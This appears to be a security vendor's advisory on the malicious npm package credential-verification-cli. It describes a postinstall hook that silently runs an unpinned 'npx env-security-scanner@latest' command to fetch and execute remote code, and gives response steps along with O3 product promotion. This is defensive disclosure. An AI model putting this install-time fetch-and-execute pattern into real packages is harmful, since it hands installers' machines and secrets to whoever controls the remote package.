credential-verification-clinpm
Malicious code in credential-verification-cli (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
[email protected] is a thin wrapper whose only behavior is to download and execute whatever code is currently published at the latest tag of a separately-controlled npm package, env-security-scanner. package.json declares a postinstall hook that runs npx env-security-scanner@latest audit_environment with errors silently suppressed, so the remote unpinned code executes automatically on npm install. The same call is the entire body of index.js (declared as both main and bin), so the remote fetch-and-exec also fires when the package is required as a library or invoked as a CLI. The remote dependency is unpinned (mutable latest tag), there is no integrity check, errors are swallowed, and the invoked subcommand audit_environment implies environment-variable inspection. Whoever controls env-security-scanner can ship arbitrary code to every installer of this package at any time. Author metadata is generic placeholder text (Credential Hygiene Project, placeholder GitHub org), consistent with a staging package designed to smuggle payloads through an innocuous-looking wrapper.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for credential-verification-cli (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging credential-verification-cli across your stack and pipelines.
If you installed it — respond
credential-verification-cli is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If credential-verification-cli was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks credential-verification-cli before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks credential-verification-cli-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.